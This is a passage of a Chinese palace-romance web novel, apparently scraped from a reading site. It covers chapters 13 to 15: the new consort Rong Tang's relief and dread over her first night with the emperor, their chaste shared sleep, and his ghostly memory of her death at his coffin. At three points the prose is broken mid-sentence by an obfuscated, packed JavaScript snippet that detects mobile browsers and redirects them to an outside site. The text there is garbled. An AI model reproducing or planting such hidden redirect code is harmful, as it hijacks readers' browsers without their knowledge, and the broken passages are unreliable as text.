拂云察言观色,道:“娘娘,是否需要奴婢将每日宫中供应的食材和时兴菜式禀报一遍,您再从中挑选?” 容棠看了她一眼,觉得这小宫女十分机灵,便点头道:“也好。” 拂云利落地报了起来,她嗓音清脆甜美,让容棠想起了脆嫩水润的香梨。她听着听着,愈发觉得饥肠辘辘,便挑了几样菜式和汤羹。待拂云领命退下,容棠想了想,叫住了飞雪,打算趁着用膳前的空闲了解一些宫中的事情。 飞雪行了一礼,便利索地介绍了起来。 贵妃身为四妃之首,按规制有八名宫女和内侍,除去近身伺候的,其余人各有分工,掌管膳房、账务、服饰、起居等事务。 容棠心想她初来乍到,对宫人们都知人知面不知心,还需日后慢慢了解,因此这近身伺候的事情还是得交由她带进宫来的烟雨和岚月去做。至于飞雪,她资历深厚,又熟知宫内事务,便由她总管长乐宫内务。 飞雪道:“如今这内廷之中,太后深居简出,一心礼佛,甚少过问庶务,从前虽代管着后宫之事,但只是担了个名,多数还是交给了内廷女官去办。” 容棠先前听宋姑姑详细介绍过宫中的女官等级与职责,当下微微颔首以表知晓。飞雪又道:“想来待娘娘行册封礼后,太后便会将后宫事务正式移交给您。” 容棠心中有了计较,便和颜悦色同飞雪闲话了几句,末了道:“往后这长乐宫的大小事情,还是交由你打点。” 飞雪面上显出几分惶恐,忙俯下身子道:“奴婢定肝脑涂地,为娘娘尽忠。” 容棠交代了几句后,便抬手命她退下,不多时,拂云便领着几个宫人进来摆了午膳。待用罢膳食,容棠自起身去了内寝歇息。 她迷迷糊糊地想,此刻该好好养精蓄锐,只怕晚间还有要紧事要做。 * 傍晚时分,福宁殿。 御书房内被烛火映得亮如白昼,御案上奏折堆积如山,然而一向勤于政事的皇帝却罕见地负手立在窗边,盯着外头那逐渐深浓的暮色,神色怔忡,正在兀自出神。 “陛下,”程良全百般迟疑之后,还是忍不住出声提醒,“贵妃娘娘已经住进了长乐宫,您今晚是不是去娘娘那里歇息?” 萧凛看了他一眼,眸光幽深,不知在想些什么。许久,他才无声地叹了口气,道:“摆驾长乐宫吧。” 程良全刚应了一声,却见殿外匆匆走来一个内侍,禀报道:“陛下,陆统领求见。” 陆统领是禁军统领陆豫,亦是深受信任的天子近臣。他此刻求见,必然是有十分要紧之事。 萧凛顿住步伐,道:“罢了,先传他进来吧。” 他微一沉吟,道:“派人去长乐宫告诉贵妃,朕今晚忙于政务,就不过去了。” 程良全忙躬身应了,默默感叹陛下心中最重要的永远是政事,况且以陛下的脾性,怕是不会轻易...... 前去长乐宫传话的小内侍不多时便回来复命。程良全问道:“娘娘是何反应?” “贵妃娘娘……”小内侍回想了一下,“娘娘先是愣了愣,随即轻声说了句‘知道了’,便将头低了下去,转身进了内殿。” “娘娘虽背对着奴婢,但奴婢瞧着,她的背影似乎有些落寞和伤感。”小内侍煞有介事地道。 程良全看了眼殿内,一时无言。 13. 长乐 “陛下不过来了?”容棠微微一愣。 小内侍恭谨道:“回娘娘的话,陛下政事繁忙,一时间脱不开身。娘娘请先歇息,不必再等了。” 容棠抿了抿唇,一时间有些沉默,在内侍久久等不到回应而试探着抬起头看过来时,她霍然垂首,抬手轻抚了抚面颊,状似无意地遮住了半边脸,只留给小内侍一只削若葱根的手。 小内侍一慌,连忙低下头去,耳边听见贵妃低低而发闷的声音缓缓道:“知道了。” 随即,他的余光瞥见贵妃徐徐转过身,低着头往内室走去,这才大着胆子抬起头。贵妃穿了袭浅紫色的罗裙,那样轻如云雾的颜色,衬得她的背影显得格外纤瘦。她一路走着,步伐很是缓慢,时不时还掩面摇头,留下似有若无的叹息声。 小内侍懵懵懂懂地想,贵妃等不到陛下,该是伤心了吧?他看着贵妃似乎轻微抖动的双肩,心下愈发确定,连忙匆匆回了福宁殿,打定主意要原原本本禀报程公公。 而程良全得知此事后也记在了心底。因此,当皇帝短暂地放下奏折,疲倦地捏了捏眉心时,他趁机禀报道:“陛下,奴婢已经派人去长乐宫告诉了贵妃娘娘您不过去的事。” 皇帝没什么反应,只阖着眼,也没有多问一句的打算。 程良全踌躇良久,才大着胆子道:“陛下,娘娘听了此消息后,似乎颇为神伤。” 皇帝终于睁开眼向他看了过来,微蹙眉:“......神伤?” “是,”程良全道,“娘娘心中定是盼着陛下能驾临的,骤然得知陛下不过去,心中一定会......难过的。” 他说完这话后,小心翼翼等着皇帝的反应,上首却久久没有动静。他便悄悄抬眸看了眼,却见皇帝已经再度展开了一本奏折,执笔批阅了起来,面色平静,好像对方才那番话毫不在意。 程良全无奈,只能屏息退下。 * 送走传话的内侍,容棠转身就走,鬓边的海棠花步摇垂下的几串玉珠随之扫过皮肤表面,冰冰凉凉,一如此刻长乐宫诸位宫人们的神情。 他们都沉浸在皇帝不驾幸的噩耗中,也有些担心皇帝对自家主子的态度,只有容棠神情自若。 她双手提起裙裾,努力克制住心底的喜悦,提步迈过门槛。 天知道,当传话的内侍说出那句话时,她有多么怕自己当着御前的人的面笑出来,否则又怎会那样刻意地抬手掩面呢。 一想到今晚可以不必面对那个陌生的帝王,更不必去做那件让人头痛的侍寝之事,容棠顿时松了口气,心情也好了许多。 今日晚膳前,尚寝局和尚药局的女官曾特意来了长乐宫,为她讲解燕寝之事。 女官年长,慈眉善目,恭敬而不失关切,便如长辈一般将画册内容娓娓道来,除此之外,她还对容棠说,身为妃嫔,服侍天子虽要恭谨守礼,也不能太过呆板无趣。 容棠不明其意,但见女官神情自然,便也强作镇定,虚心学习,同时在女官殷切的注目下翻开了先前宋姑姑给的那本册子,顿时被上面大胆而香艳的图画惊得呆在原地。 她从不知道,原来男女敦伦之事可以有这么多新奇的花样,有些动作和姿势简直让人难以想象。难怪女官说了那么一番意味深长的话,原来是暗中指点她啊。 换言之,就是妃嫔既不能太过搔首弄姿,否则便是失了体统丢了身份;却也不能如提线木偶一般干巴巴躺着,让天子一人出力,否则怎能叫做“侍上”呢?这其中的度,需要掌控好。 容棠忍不住想起入宫前一晚,徐翡也派了府上一个嬷嬷为她讲解此事。那嬷嬷说,男女燕好乃是互通有无、有来有往之事,若是一味顺从而不懂得回应,纵然让男子得了趣,自己却无法领略其中滋味,便失去了做此事的意义。长此以往,女子只会愈发排斥此事,又怎能从中得趣呢。唯有放下畏惧,全身心放松,才能食而知味。 女官所言,与此有异曲同工之妙。容棠听得脸红心跳,整个人如被放在热锅上炙烤一般。她正魂不守舍时,却见女官又呈上几样物件并几张药方子。 容棠不明其意:“这是何物?” 女官慈祥的目光落在她身上:“娘娘身为女子,初次承宠必然会有诸多不适。” “按这张方子熬出的汤羹,味甜滋润,可在侍寝前服用,从而缓解娘娘身体上的痛楚。” “这瓶药舒缓镇痛,娘娘侍寝后若觉不适,可令贴身婢女为您涂抹。” …… 容棠的身子下意识抖了一下。她连忙去翻看那册子,发觉那上头亦写了诸如此类的话。 “……如劈竹裂石,初觉痛楚,待渐入佳境,则春水润泽,飘飘然如饮醇醪……” 她瞪着那几个字,仿佛已经感受到了那种疼痛,再设身处地一想,险些冷汗直冒。什么渐入佳境,如饮美酒,她一点也不好奇。 一想到初次做那事时可能会有的疼痛不适,容棠入宫时的昂扬斗志刹那间就熄灭了一半。 她一向怕疼,更怕流血,先前坠马只是磕破了额头,都足以让她疼得捱不住了更何况是这种被刀剑劈砍一般的痛楚?况且那人是皇帝,断不会像寻常人家的夫君一样愿意耐着性子温柔俯就,她即便是疼得受不住,也不敢开口让他停下来啊。 而且,那样高高在上的皇帝真的会在意妃子的感受吗,怕只顾着自己得趣吧。若是她表现得太过难受和痛楚,或是显露出了一丝一毫的抗拒和害怕,他会不会觉得很败兴,若是恼了又该如何是好?毕竟君心难测啊。 一想到这些,容棠觉得自己连晚膳都吃不下了。 送走女官,她先是焦头烂额地在殿内踱着步,最后绕得自己有些头晕,才呆呆地坐在炕上,却直到茶水冷透了也不曾端起杯盏。烟雨侍候在侧,见她神色紧张,便好奇道:“娘娘先前不是说不惧怕此事吗?” 容棠有气无力地道:“那是我说大话罢了… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782671|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …你若是看了那册子,定也会怕得打颤。” 烟雨道:“娘娘聪慧,一学就通,再难的事情一定也会信手拈来。” 容棠虚弱一笑:“你说得轻巧,可是那可不是寻常之事啊。” 她就这样心事重重一直地等到了傍晚,正在不断给自己鼓劲时,却意外得知皇帝今晚不过来的消息,顿时觉得压在心头的巨石消失了,整个人为之一松。 容棠进了寝殿,屏退众人,只留下烟雨和岚月。没有外人在,她才放心地露出了如释重负的笑容。 她虽然有身为妃嫔的觉悟,也打定了主意要多接近皇帝,“接近”必然少不了此事,但还是觉得自己需要一些时间来慢慢习惯,或者说,需要先稍微熟悉皇帝,而不是在进宫的第一晚就要严阵以待,小心翼翼地应付他。 就当她临阵脱逃吧。她可不希望这件事留下的只有痛苦、煎熬的记忆。而且,让她和一个今日才第一回打照面的陌生男人躺在同一张床上做那种亲密的事情,容棠光是想想,都觉得浑身发麻。 她虽然知道不可能,却还是做梦般盼着能够循序渐进,徐徐图之。 容棠长长地叹了口气。折腾了一整日,她也实在是倦怠了,没有多余的心力去想其他事,只想心无旁骛地睡一觉。 “快帮我把这些首饰都拆了,沉甸甸地坠在发髻上,抻得我脖子疼。”容棠兴高采烈地在妆台前坐下。烟雨和岚月对视一眼,走上前去。 “娘娘,”烟雨是个藏不住话的,“今日是您入宫第一晚,陛下竟然不来,这是不是太过冷落娘娘了?” 容棠一副无所谓的模样:“陛下是天子,日理万机,被政事耽搁了也是常有的。况且,今日虽是我入宫的日子,可不代表陛下一定会来。这才头一日呢,不急。” 她轻松一笑:“他不来,这殿内只咱们几人,岂不是更自在些?实话告诉你们,我得知他不来的消息,心中别提有多么庆幸了。” 烟雨道:“可是娘娘,陛下即便今日不来,往后也总会来的,那时您该如何是好?” 容棠摆了摆手:“今朝有酒今朝醉,明日愁来明日愁。【1】先把今日安安生生过了再说。” 烟雨迟疑道:“可娘娘从前不是教导奴婢们莫要逃避现实,今日事今日毕吗。” 容棠:“……” 一旁的岚月闷闷笑了笑,同时认同地点点头。 容棠忍不住轻轻拧了拧烟雨的脸:“你就把这些话记得清楚。” 岚月手上动作极快,为她卸下钗环,洗去铅华,换上轻便的寝衣。 容棠打了个哈欠,舒舒服服地在床上躺下,神思倦怠,将要入梦。 烟雨正要吹熄烛火,却听见一阵急促的脚步声自殿外传来,紧接着是飞雪难掩喜悦的声音:“娘娘,陛下正从福宁殿起驾,往长乐宫来了!程公公派人传了话来,请娘娘预备着接驾吧。” “什么?”容棠愕然,困意顿时烟消云散。 14. 共枕 她猛地睁开眼,只觉得额头青筋直跳。 这么晚了,他不在寝殿歇下,来这儿做什么?真是扰人好梦! 容棠无可奈何地起身,匆忙将满头长发挽起,又换了身衣裳。做完这一切,御驾到达的通传声也已响彻长乐宫内外。 她搭着烟雨的手走了出去,只觉得整个人疲累不堪,忍不住连打了好几个哈欠,眼底水光涌动。一旁的飞雪小心翼翼地看了她一眼,心中诧异为何娘娘一副无精打采的模样,丝毫没有见驾的喜悦和兴奋。 殿门洞开,廊下的宫灯被风吹得微微摇晃,映着那道高大挺拔的身影缓缓由远及近。容棠眨了眨眼,脑海中不合时宜地想起前世的情形,心情十分复杂。 夜风吹着她的发梢,容棠情不自禁有些发抖。活了两辈子,她还是头一回见到已经死了的人。一想到前世这个人就躺在自己撞死的那口棺材里,还曾经变成鬼在梦里恐吓自己,她忽然自心底腾起一股惧怕,这来的是人还是鬼啊? 虽说上回万寿宴她也见到了这位陛下,但那时昭阳殿内灯火通明,人声鼎沸,她与他之间又隔着重重人海,心底的异样被尽数冲散了。可今日就不同了,黑灯瞎火的,待会她还得与他在寝殿内单独相处,怎么能不害怕。 一旁的烟雨见自家姑娘突然身子一颤,忙问道:“娘娘怎么了?” 容棠回神,勉强低声道:“无事,只是有些冷。” 烟雨怀疑地看了眼姑娘。她的手心分明是热的啊。 来不及想那么多了,皇帝已经走到了近前。 容棠深吸一口气,低眉敛目,按着规矩盈盈下拜,口中道:“臣妾恭迎陛下圣安。” 墨蓝色的袍角拂过莲花纹地砖,在她面前停住。容棠垂着眼,却能感受到他的目光落在自己身上。 许久,皇帝才道:“贵妃不必多礼。” 容棠起身,跟在他身后进了寝殿。宫人们很快将殿内烛火尽数点亮,又奉上茶来,侍奉皇帝在窗边炕上坐下。 离得近了,她感受到了他身上的热意,也听清了他的呼吸声,这才暗暗松了口气。 容棠想着宋姑姑先前教导的礼仪,便接过岚月递过来的茶,端正地摆在皇帝面前,柔声道:“陛下请用茶。” 她白皙的手指拢在藕荷色衣袖下,将白玉茶盏轻轻搁在了炕桌上。皇帝凝视她片刻,便缓缓端起茶盏。 殿内静悄悄的。容棠此刻早已睡意全无,脑海中思绪飞转,想起当日宫宴上,自己也是如今日一般只看得清他下颌的线条。只是此一时彼一时,从前身为臣子不敢直视天颜,如今她已经是妃嫔了,难道还不能看一看皇帝的眉眼吗?她这样想着,便悄悄抬眼,想着趁皇帝用茶之时好好观察一番他的模样。 她的目光顺着皇帝的袖口上移,掠过他骨节分明的手指,再到他挺拔的鼻梁和微微垂着的眉眼。皇帝不愧是天潢贵胄,动作不紧不慢,贵气天成,连呼吸的节奏都是轻而平缓的。他安静地品着茶,目光收拢,并未向她这边看过来,容棠打量的眼神不由得大胆了一些。 恰在此时,皇帝用罢茶水,随手放下茶盏,顺势抬起眼眸,正与容棠四目相对。那双眸子幽深如潭水,即使对上她毫不遮掩的目光也不曾掀起一丝波澜,而是静静地端详着她,隐含探究之意。 他眉眼深如浓墨,鼻梁挺拔峭直,薄唇微抿,不笑时自有一股身居高位者的清峻冷肃,然而看过来的目光却又隐隐有一丝柔和的意味。 总体而言,皇帝是个十分清朗俊逸的男子,有一副绝佳的皮囊。 容棠忙垂下眼眸,顿觉耳根发烫,心中却情不自禁感到满意。身为妃嫔,即使不会以寻常挑选夫君的标准来看待皇帝,却也不愿日后与自己朝夕相处的是个粗野丑陋之人,否则她真的无法接受与这样的人同床共枕。 此刻,殿内侍候的宫人们都退到了外间,只余下他们二人。 她从未和陌生男子这样独处过,况且这个人是高高在上的帝王,又是她名义上的“夫君”。容棠正努力回想着宋姑姑的教导,却听他开口,声音较之方才温和了一些:“头一日入宫,可还习惯?” 容棠回神,回答道:“多谢陛下关怀,臣妾觉得一切都好。” 皇帝打量了一下四周,微微颔首道:“若是长乐宫要添置什么,或是缺了人手,尽管差人去办便是。你是贵妃,往后宫务皆由你亲自做主,不必特意知会朕。” 容棠道:“是。” 这样一番对话后,皇帝又沉默了片刻,仿若后知后觉般发现她还站在原地,抬了抬手道:“坐吧。” 容棠依言坐下。这样的角度让她不必刻意低垂着眉眼去避免和皇帝对视,而是可以自然平视前方,目光不偏不倚,正好落在他唇角。 “后日会为你行贵妃册封礼。”皇帝开口。 容棠应道:“先前宫中的宋姑姑已将此事告知臣妾,尚仪局明日亦会向臣妾讲解典礼详细流程与规矩。臣妾会好生学习和记诵的。” 皇帝颔首,半晌都不曾再作声。 容棠状似无意地瞟了他一眼,却见他神色怔忡,眼底泛着几丝犹疑,似乎想要开口,却迟迟未曾启唇。她忽然有种异样的感觉,仿佛眼前这位陛下面对她时有些拙于言辞,不知该说些什么。 她有些诧异,又有些好笑。运筹帷幄的天子,竟也有不知所措的时候?还是因为他未曾有过后妃,因此不知该如何和女子相处? 许久,皇帝似乎从沉思中回神,站起身,负手向外走了几步,回头看向容棠,微一踌躇,缓缓开口道:“时辰不早了,朕先回——” 容棠心中一喜。他的意思是要回福宁殿,而不在长乐宫留宿了?若如此,就意味着今晚她不必怀揣着上战场的心情侍寝,不必经历那种事情,可以睡个安稳觉了。她努力抑制住唇角的笑意,抬眸道:“臣妾恭送——” 话音未落,她忽然觉得一股困意袭上鼻间,一个哈欠呼之欲出。此刻皇帝还在眼前,容棠连忙低头,用尽力气咬紧牙关,控制住面上的神态,硬生生将那股强烈的气息压了回去。然而她做了这番颇为用力的动作之后,却感到有微微的湿润自眼底漫出,缀上眼睫。 下一刻,她听见皇帝的话音硬生生转了个弯:“先......歇息吧。” 容棠一怔,几乎以为自己听错了:“陛下的意思是?”她闭了闭眼,将那碍事的泪花抿去,这才愣愣地看向他,面上浮起几分茫然。 皇帝似有不忍,目光克制地掠过她微红的眼睛,轻轻咳嗽了一声道:“朕是说,时辰不早了,朕......不回福宁殿了。” 容棠:“......”这莫非就是朝令夕改,出尔反尔?堂堂天子该一言九鼎才是,为何转瞬就变了主意,执意要留在这里? 难道侍寝之事,对他来说这么急迫?果然男人都是一个样,身份地位再高贵都无法免俗,心里无时无刻不想着床笫之事。 她暗暗咬了咬牙,却不敢流露出半分不情愿,而是极其自然地露出一抹恰到好处的温婉笑意,柔声道:“是。” 皇帝点了点头,率先迈步向内寝走去。容棠盯着他的背影,狠狠皱了皱眉,这才扬声唤了人进来。 得知皇帝要留宿,长乐宫的宫人们立刻打起精神,麻利地铺床铺被,点起熏香,又去内寝后的浴房准备好热水和一应物品。 寝殿后的浴房共有两大间,容棠便和皇帝各自梳洗更衣。 “姑娘,您紧张吗?”烟雨替她梳着长发,悄声问道。 容棠闭着眼,整个身子浸在热水之中,四肢百骸都放松了下来。她有气无力地道:“兵来将挡,水来土掩,纵然我紧张也躲不开此事,只能由着他去了。” 岚月捧着寝衣,认真道:“以姑娘的聪慧和才智,不论什么事情一定都能做好的。” 容棠见她板着脸一本正经的样子,忍不住笑了起来。岚月不似烟雨活泼,大多数时候只会闷头做事,但却时不时能冒出几句惊人之语。 不过被岚月这么一说,容棠忽然想起什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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容棠一口气憋在喉咙之中,险些哽住。她眨了眨眼,不敢置信地看向皇帝。他的意思是,今晚他留宿长乐宫,却并不打算做那件事,只是单纯地和自己同床共枕睡一觉? 是自己误会他了? 皇帝被她的目光看得有些不自然,侧过头轻咳了一声,道:“安寝吧。” 烛火晃动片刻,随即彻底熄灭,殿内陷入一片黑暗。容棠直挺挺地躺着,双手端端正正地压在被子上方,指尖交叠,肌肤相接处有些热。 这是宋姑姑曾教导过的规矩。身为妃嫔,与帝王同寝时必须保持端庄的仪态,不可随意伸展身体,更不能在睡梦中乱翻乱动。 她盯着帐顶,心依然不曾平静下来。殿内很安静,只听得见两人交错着的呼吸声。她毫无睡意,脑海中只盘旋着一个疑问:皇帝是真的体恤自己劳累,还是根本无意于此事,只是为了维护自己身为贵妃的地位才留宿的? 容棠今日从宫门一路行至长乐宫的途中,陆陆续续听了不少宫人的议论,无一例外都是艳羡皇帝对她的另眼相待。所有人都认定,皇帝钟情于她,不惜舍弃六宫粉黛,只为将万千宠爱集于她一身,因此无人敢轻视自己这个贵妃的地位和分量。那么皇帝呢,他究竟是如何想的? 想到这里,她微微侧头,在一片黑暗之中隐约辨认出了皇帝的侧颜轮廓。他薄唇轻抿,长睫低垂,呼吸均匀而轻缓,睡得正熟。 那个曾躺在棺木之中无声无息的人此刻却躺在她身边,容棠一阵恍惚的同时,又情不自禁想起自己曾做过的那个可怖的梦,顿觉心中发毛,连忙闭上眼睛不敢再想。 不论如何,没有发生那件事情对她来说都是值得庆幸的。今日先好好睡一觉,等她养足精神,明日再好好筹划一番今后的行动。 容棠平躺久了,觉得身子有些发麻。她在府上时虽然睡相也不错,但却也不至于如木偶一般整夜一动不动。若是真的这样睡下去,只怕第二日整个人都会僵硬如铁了吧。她又看了皇帝一眼,见他沉睡着毫无所觉,便轻轻动了动,拘谨地伸展了一下手臂,稍稍侧过了身子。 鼻间缭绕着似有若无的香气,清淡宜人,却又似曾相识。容棠迷迷糊糊地想着,却来不及回忆起自己是不是在哪里闻过这种味道,便觉得眼皮一沉,坠入了睡梦之中。 她今日实在是累极了,是以虽然和一个陌生人共枕,却还是困得直接睡了过去。 身畔人的呼吸终于变得绵长了起来,显然已经睡着了。黑暗之中,萧凛缓缓睁开了眼,眼底一片清明,毫无倦意。 15. 魂魄 方才他虽闭着眼,却依然能感受到身边人的动静。起初她呼吸急促,心跳如鼓,似乎难以入睡。他想,大约是因为她骤然离家,有些不适应皇宫,才会迟迟睡不着吧。 他听见了她小幅度挪动身体时,衣料与被褥摩擦的细微响声,不由得轻轻扯了扯唇。他是皇子,一举一动都有人严格管教,因此平躺着入睡并不是什么难事,但对娇生惯养长大的姑娘家,或许有些困难吧。但即便如此,她还是为了礼仪规矩,努力让自己的身体保持一个标准的姿势,生怕惊动自己。 可她终究还是难受的吧?萧凛想。因此,他察觉到她换了个睡姿的动作时,并未流露出半分异样,唯恐惊扰了她;在她偷偷观察自己时也佯装睡熟,不愿让她察觉到什么。否则,他怕她又会拘束起来,无法安睡。 若是她再无睡意,他便会命人去点自己惯常用的安息香了。只因今日留宿长乐宫,他担心她闻不惯那香的味道,并没有让程良全点上。 这样做的结果就是——容棠睡着了,他却还是毫无睡意。不知是心事太重,还是他从未和女子这般同床共枕过的缘故,有些不习惯。 即使他努力克制自己不去想,但少女身上的幽香还是丝丝缕缕钻入他鼻间。 萧凛微微侧过头,望向帐幔外。即便已经过去了很久,他还是偶尔会觉得恍惚。夜半时分自梦中惊醒时,他还是会下意识确认自己是好端端躺在床榻上,还是已经被抬进了那口冰冷的棺材中。 崇宁三年的那个秋日,对他而言不啻于一个噩梦。一向精于骑射的萧凛怎么也没想到,自己有朝一日竟会失足坠马,进而重伤昏迷。自那日起,他便彻底失去了意识,对周遭发生的任何事都无知无觉。 再度醒来时,他的第一反应是惊喜与庆幸,以为自己终于病愈。可紧接着,他便察觉到了不对。 他感受不到身体的存在,也听不清自己的呼吸和心跳。更骇人的是,他发现自己竟腾空而起,如一阵轻烟般飘荡在半空之中,于一片晕眩之中,依稀看清了眼前情形。 目之所及是他最熟悉的地方——他的寝宫,乾恩殿,然而却被大片大片惨白色包裹着,伴着阵阵阴冷的秋风。 他看见一口硕大的棺椁摆放在殿中央,棺前的灵位上赫然写着自己的名字。 ......他死了? 萧凛心中遽然一惊,下意识想要靠近,然而他的手触碰到灵位的那一刻,却悄然穿透而过。 他没有身体,只有一缕悬在半空中的魂魄,伏在棺椁上方,不可置信而又无能为力地望着眼前的一切。饶是萧凛身为天子见惯了世间诸多奇异怪事,却从未想过会经历今日这一切。 即便他再不肯相信,也不得不接受事实:他真的死了,但不知为何,魂魄没有随□□一样长眠,而是诡异地飘在了灵堂之中。 他看着群臣宗亲黑压压跪满殿内,低眉垂首致哀。 萧凛听不见殿内的动静,只能看见众人神色悲戚,泪流满面。所有人都在为天子的离世而悲痛欲绝。 想起自己的死,萧凛的呼吸沉重了几分。 他明明只是如平日一样去骑马,却在中途突然呼吸发紧,周身血脉如倒流般震得他额角剧痛,心也犹如被揪住一般痛楚,紧接着,他感到身子一沉,无力坠落至地后便彻底失去了意识,连一句口谕都来不及留下。 再次醒来,他就已经成了这副人不人鬼不鬼的模样。 不知自己死后,这江山会由何人接手?萧凛正想着,却看见一个熟悉的人影一步步走了过来。那人一身白衣,眼眶通红,显然伤痛至极,正是自己的堂兄萧磐。 萧凛沉默地注视着他,看着他在自己的灵位前哀哭不止,心中那丝异样隐隐摇摆起来。这位兄长,到底是不是...... 看着群臣在他面前恭敬的模样,萧凛很快意识到,这储君之位必然是归萧磐所有了。他无子嗣,这继任者只能从兄弟中挑选。而萧磐又有那样特殊的身份和过往,群臣推举也是情理之中。 萧凛脑海中千头万绪缠绕不清,他纵然心中有挥之不去的疑影,却也注定无法再做什么,只盼着这位堂兄继位后能好好治理大燕,以保江山永固。那些过往,只能随自己的死而消散了。 不多时,群臣祭拜完毕,退出了乾恩殿。萧凛静静盘旋在自己的棺椁之上,垂眸盯着下方,想透过那厚厚的外椁和漆层看一看躺在最里面的自己。可惜,他做不到。 他看着殿内外飘飘扬扬的白布,忽然觉得自己这一生真是短暂得可笑:自出生便风波不断,长大成人后又经历了不少变故,好不容易坐稳了皇位,壮志未酬却猝然殒命,有许多未竟心愿,再也没有机会实现了。 萧凛默然看向殿外。此刻暮色四合,一片昏暗,殿内惨黄的灯火看起来格外瘆人,然而落在他眼中,却意外有些稀薄的暖意,好像在为他照亮着通往黄泉的路。 倏然,狂风大作,吹动那光亮剧烈摇晃,似乎转瞬便会熄灭。萧凛冷冷一笑,人死灯灭,终会落入冰冷的枯寂之中。即使那么多人在他灵前流泪又如何?又有几分出自真心?他知道,有些人看似恭顺,实则暗怀心思,或许巴不得自己早早丧命。 他这一生,本就没能尝过多少真情。一出生便饱尝冷眼,母妃不喜,父皇不爱,即使后来有了地位尊崇的养母,也不过是看起来圆满罢了,其中冷暖,唯有他自己清楚。而曾经自己真心以待的兄长,此刻是在为自己的死而伤心,还是在为唾手可得的皇位而狂喜? 萧凛讥诮一笑,抬眸,目光毫无焦距地落向远处。 他就这样安静地飘在棺上,打算送自己最后一程。不知过了多久,他忽然看见有人自远处疾奔而来,步伐错乱,透着慌张无措。 那是个一身素服的少女,约莫十六七岁年纪。萧凛微微蹙眉,竭力回想着此人的身份,这才忆起,方才女眷祭拜时,她似乎跪在了妃嫔的位置上。之所以记得她,是因为萧凛注意到,那一行人中,唯有她哭得最是伤心,满面泪痕,抽噎不止,一看便是发自内心。她整个人虽跪伏在地,他却依然能看得出她的双肩在轻微颤抖。 ......她是谁?萧凛确信自己生前从未册立过任何一个女子,他的后宫也始终空空如也。瞧她的服饰打扮,也绝不是宫女。 他几乎要以为自己脑海中的记忆被谁抽空了,他都死了,何来的妃嫔?他也从未见过这个少女,她究竟是谁,又为何......会为自己哭得那般伤心? 萧凛正疑惑时,却见又一个身影出现在了殿内,与少女相对而立。 是萧磐。他正说着什么,而那少女却总是频频摇头,更在听了他的话后一步步后退,距离自己越来越近。她离得近了,萧凛看见她虽然竭力稳住身子,但脑后的发丝还是在微微战栗。 她好像遇到了什么事情,才会露出这样惧怕的模样。萧凛盯着少女的背影,一时间有些无言。 他虽不知她为何会被召进宫里充作妃嫔,但却本能地意识到,等待着她的一定不是什么好结果。一个驾崩的帝王,他的妃嫔只有两条路可走。 他鬼使神差地起身,靠近了少女。离得近了,忽然,萧凛觉得有一缕嗓音随风隐隐约约钻入耳中。 是一个带着哽咽却依然坚决的女声:“臣女对先帝……” 先帝?那岂不就是自己?萧凛飘到了少女面前,想努力听清她接下来的话。 “……对先帝一往情深,甘愿……” 她的话语模糊不清,断断续续,却足以让他听清关键。萧凛怔怔地看着她一张一合的唇,动弹不得。余下的话他再也听不清了,可是他觉得,有这么半句话就足够了。 一切昭然若揭。可他不明白,这个素未蒙面的少女,为何会对自己如此深情? 萧凛正想着时,却忽见萧磐大步上前,伸手去拉扯那少女。少女惊慌失措,拼命挣扎。 事到如今,他还有什么不明白?这位堂兄一向好色贪婪,可萧凛万万没想到,萧磐竟在国丧期间也如此按捺不住,在灵堂也敢行如此之举,而被他逼迫的人,名义上还是自己的妃嫔! 怒气蒸腾而起,萧凛只觉得整个人目眩了一瞬,自己的魂魄随之剧烈颤动,仿佛下一刻便要如烟般散去。他忘记了自己只是一缕魂魄,伸手便想去阻拦,却无济于事。 萧凛心急如焚,连忙飘回棺椁上,想尽办法想要制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816164|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造出一些动静打断萧磐,却只是徒劳。 蓦地,他看见那少女转过头,面向自己的灵位而立。借着殿内的灯火,萧凛看清了她的眉眼和模样。那双眸子里含着泪,定定地看着灵位,若不是萧凛知晓自己此刻不是人形,他几乎以为她是在望着自己。 她身形如弱柳扶风,让人情不自禁心生怜惜。她面上写满了不舍与伤痛,紧咬唇瓣,眼底划过一丝惨然,随即被坚定和果断取代,仿佛下定了某种不可动摇的决心。 萧凛微微愕然,下一刻,他便看见萧磐身子剧烈一晃,连连后退,而原本正与他拉扯的少女毅然决然地向着自己的棺椁疾步冲了过来,狠狠撞了上去。 ......怎会如此?萧凛震惊得说不出话来。 他本能地想要伸手去挡,却只能看着自己的手毫无阻碍地穿过了她的长发,眼睁睁看着她的额头瞬时血流如注,整个人如落花般委顿在地。她尚残存一缕气息,那双清亮如春水的眼睛怔怔地看着自己的方向,眼底流露出无尽的遗憾和留恋,似乎要把眼前的一切永远刻在心中。 萧凛下意识从棺椁上飘了下来,来到了她身畔。他俯下身,慢慢抬手,怕惊扰她一般,缓缓覆上了她额头的伤口,想要替她止住那流淌不止的鲜血,可却只能看着那血越流越多,将她素白的衣衫尽数染红。 她大口呼吸着,眸光渐渐变得迷蒙,可自始至终都在看向那冰冷的灵位。萧凛顺着她的目光看过去,看着那木牌上的名字,再看了眼少女凄然的神情,原本冷硬如铁的心一颤。 